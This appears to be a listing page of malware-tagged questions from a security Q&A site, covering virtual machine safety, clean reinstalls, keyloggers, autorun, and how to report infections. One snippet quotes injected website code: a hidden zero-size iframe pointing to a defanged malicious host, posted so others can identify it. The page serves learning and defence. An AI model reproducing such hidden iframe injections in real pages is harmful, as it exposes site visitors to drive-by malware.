Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.
39
votes
6answers
12k views
How secure are virtual machines really? False sense of security?
I was reading this CompTIA Security+ SYO-201 book, and the author Prowse claims that
Whichever VM you select, the VM cannot cross the software boundaries set in
place. For example, a virus might ...
48
votes
10answers
4k views
How do you explain the necessity of “nuke it from orbit” to management and users?
When a machine has been infected with malware, most of us here immediately identify the appropriate action as "nuke it from orbit" - i.e. wipe the system and start over. Unfortunately, this is often ...
14
votes
6answers
1k views
What are the security implications of people downloading addons, wrongly thinking that they are safe?
I recently learned about a plugin for Firefox called Fire Sheep, which was featured on the Security Now podcast. I downloaded F.S. and began examining it. To my surprise it includes C++ code that must ...
5
votes
2answers
531 views
Why should I restrict the content type of files be uploaded to my site?
We are building an application where users can upload resumes in our system for our administrators to download. We are having a debate about restricting the content type of the files that can be ...
16
votes
4answers
4k views
Does a Virtual Machine stop malware from doing harm?
I would like to know if it is save for the host system of a virtual machine (VM - VirtualBox OSE in my case) to execute malware.
Can a virus break out and read or write data from the host system? ...
4
votes
3answers
1k views
Any additional security with large blacklisting hosts file?
I run Windows with a pretty hefty c:/windows/system32/drivers/etc/hosts file obtained from http://winhelp2002.mvps.org/hosts.htm. I update this file as regularly as I remember and layer it with ...
8
votes
4answers
345 views
Unknown malware, how to report it and whom to report it to?
I'm a professional Windows system administrator, but I've been caught off-guard (or maybe some malware writer has been very clever) and I caught some unknown malware on my home computer (Windows 7 x64 ...
34
votes
5answers
2k views
Is it safe to install malware in a VM
Is it safe to install malware in virtual machines? I would like to investigate malware, but I don't want to infect my own computer.
Can I install the malware in a VMWare VM, maybe even without ...
16
votes
2answers
6k views
Can you get virus just by visiting a website in chrome
I've recently read Google Chrome: The End of Drive-By Downloads. Is it true to say that drive-by-downloads are history in Google Chrome?
So if I have a link (from a spam email) I can right-click >> ...
11
votes
5answers
558 views
Methods of mitigating threats from keyloggers
I am concerned about keyloggers being installed on my system and transmitting sensitive data out of our network.
Is there a common method that such malware uses to send its collection back to the ...
14
votes
4answers
2k views
Is making a clean install enough to remove potential malware?
Is formatting the disk and reinstalling the system from scratch (to Ubuntu) enough to remove any potential hidden software spyware, keyloggers etc.?
Or can something still persist installed in the ...
14
votes
4answers
1k views
Malwares source repositories. Where?
As the best way to learn is to read the code, do you know where I can find malware/virus/whatever source code to read?
17
votes
4answers
1k views
Reverse engineering malware/viruses
Assuming a machine has malware, regardless of how it got there, one thing I would like to learn to do is to take the binary file and reverse engineer it to see what the malware is doing/has already ...
14
votes
4answers
12k views
How to inject executable, malicious code into PDF, JPEG, MP3, etc.?
I wanted to know if its generally possible to inject executable code into files like PDFs or JPEGs etc., or must there be some kind of security hole in the application?
And if so, how would one do ...
3
votes
5answers
739 views
How can I know if my PC is getting infected?
I have installed an antivirus, but as no antivirus is perfect, what can I do to diagnose if my PC is getting infected?
For example, keeping a close eye on what programs and tasks run when I turn my ...
20
votes
6answers
855 views
Why are vulnerabilities and lack of security possible in computers?
I have heard about computer vulnerabilities, virus, malware, etc.
Why are these threats possible?
Why doesn't the computer just do the things it is supposed to?
Why do some people write malware, ...
20
votes
2answers
1k views
From a technical standpoint, how does the zero-day Internet Explorer vulnerability discovered in September 2012 work?
I'm looking for an answer that explains the issue from the prespective of a developer/engineer. What is exactly being exploited and why does it work?
Please note that I am not looking for ...
17
votes
6answers
460 views
How to deal with a person who gets easily fooled by internet and mail scams?
alternative title: How to deal with a person who has gotten paranoid and doesn't want to go online anymore?
A person, who has over the years been scammed many times, by bad spam/fraud emails, and ...
9
votes
4answers
545 views
How would you analyze an image to find out if there are scripts embedded in it?
How would you analyze an image to find out if there are scripts or possible malware embedded in it? What tools / methods to use?
18
votes
4answers
472 views
Malware - are removal tools acceptable or is bare metal re-install the only safe option?
I see a number of companies offering "malware removal" services. I see some software that claims to be able to remove malware from an infected machine.
Is using a removal software tool to 'clean' an ...
13
votes
2answers
454 views
Is it possible to make a phone call appear to come from another phone, even to the network provider?
Quick Question
Is it possible that I could call a mobile number, but have the call forwarded through another number active on a different phone that someone else has? I have had unlimited access to ...
12
votes
6answers
700 views
Why do malware creators use such clever technologies for such silly purposes?
Some days ago I got infected by a malware, probably something new and very clever, as it went in unstopped and no scanning tool was able to detect it afterwards (see this question).
It was a ...
9
votes
3answers
903 views
Am I protected from USB autorun malware on Windows 7?
As far as I know, the autorun.inf problem (the possibility of automatically executing code when a USB stick is plugged in) was solved through Windows Updates for XP, and on 7 it is no longer possible ...
6
votes
4answers
538 views
Is disabling auto-run enough to protect against malicious code from removable media automatically infecting a machine?
If I block auto-run on a windows machine, is this enough to protect it from malicious code (assuming I don't run any files manually)?
Or are there known vulnerabilities that may cause infection?
8
votes
2answers
605 views
Malware known to use port knocking to evade detection by network scanners?
Are there any known cases of malware in the wild that utilize port knocking on a backdoor to evade detection by network scanners?
6
votes
5answers
342 views
How do I safely inspect a suspicious email attachment?
I received a pretty blatantly spammy email to my Gmail account. I'm not really sure how it made it through the spam filters, since it has all of the telltale signs. The FROM field is spoofed as ...
6
votes
3answers
542 views
attack/abuse notification email template
I'm building a template for use when sending "abuse" notifications to ISPs, hosting providers, etc., for when attacks originate from their netblock.
Are there examples of templates used for this ...
4
votes
4answers
357 views
Is online banking more secure on iOS than a desktop computer?
Does Apple's iOS provide a more secure environment for online commerce (banking or shopping) than Windows or Mac OS X? Since the only software that can run on iOS must be vetted by Apple, the ...
4
votes
6answers
3k views
How can I prevent viruses/malware from infecting my flash drive?
I've a pen drive that I carry to the college lab . It seems all the systems in lab is infected. I need to be able to write to the drive, so I can't simply write protect it.
Everytime I insert a ...
2
votes
1answer
249 views
What is known about the sirefef/zeroaccess malware/botnet?
There appears to be an increase in p2p communication among botnets that has been attributed to the sirefef/zeroaccess malware botnet. What is known on this particular threat?
0
votes
1answer
208 views
What is the purpose of this malware code?
This is the code that I found on my client's website:
?><noindex><nofollow>
<iframe src="htxp://atluscomdnsup23.ikwb.cxm/main.php?page=1f1214ff37a3022d" height="0" width="0" ...
-2
votes
6answers
947 views
Use PHP to check uploaded image file for malware?
I want my users to be able to upload a photo. Currently I am not checking the uploaded photo for problems of any kind, although I do limit the size to 32k.
Is there any way for me to check uploaded ...
7
votes
5answers
581 views
Detecting malware-infected USB drives
I'm about to distribute some relatively cheap promotional usb drives to some of my company's clients. I'm fairly confident the company I purchased them from wouldn't intentionally implant malware on ...
5
votes
4answers
322 views
What abuses can an infected webpage do to me if I'm using Chrome and Flash is disabled
as a follow-up to this question Can you get virus just by visiting a website in chrome., I've read these pages:
http://www.straightsectalk.com/?p=47
...
5
votes
3answers
476 views
Phishing virus found on server
I recently had a call from BELL concerning a virus on our Linux ( Debian ) Server. Apparently Google emailed our client about an Italian Database found on our server that was doing phishing. They ...
3
votes
2answers
505 views
How does DNS Changer malware detection work?
This malware directs your computer to use DNS servers under control of the badguys. These DNS servers were taken over by the FBI. They were replaced with clean ones, to prevent service disruption, but ...
3
votes
1answer
161 views
How can I assess the trust worthiness of a browser add-on?
Having learned a bit more about what add-ons/extensions can do in Firefox, I want to minimize my risk and use some safer mechanism to download videos (FLV in particular) for later viewing.
...
2
votes
2answers
641 views
Need advice on linux server being hacked
I'm currently trying to find out how one of our centos servers was compromised. We were experiencing malware on our sites. After searching I finally found the malware injecting into the sites. As it ...
2
votes
3answers
1k views
Javascript Malware: How does it work, and how can it be mitigated?
I am wondering how malware gets served through Javascript. I've noticed a few illegitimate pop-ups while visiting some financial websites. I wonder how malware exploits work against the application ...
1
vote
3answers
4k views
Multiple running instances of rundll32.exe
I've noticed that in the Task Manager of Windows 7, I have multiple running instances (2) of rundll32.exe. Does this necessarily means that my machine is infected by a malware as noted here: ...
1
vote
0answers
31 views
vbs agent kz trj [duplicate]
Possible Duplicate:
Index page has been compromised, suspicious files are showing up
I have vbs agent kz trj one my laptop. my httpd.exe and mysql.exe is infected and deleted from Xampp. ...
0
votes
0answers
87 views
Exhaustive list of abuse notifications that organizations get [closed]
What are the different types of abuse notifications that organizations get? Here are some I could get off the web, but would be good to identify if someone already has a list of "types of abuse" ...
-2
votes
0answers
106 views
History of RAT + Strange networking recently… was I hacked again? [closed]
(FYI, my PCs were infected and remote accessed in the past by a friend/stalker, & I’ve reinstalled the network few times already. Recently added Router#2 to double-NAT).
My network has 2 routers ...
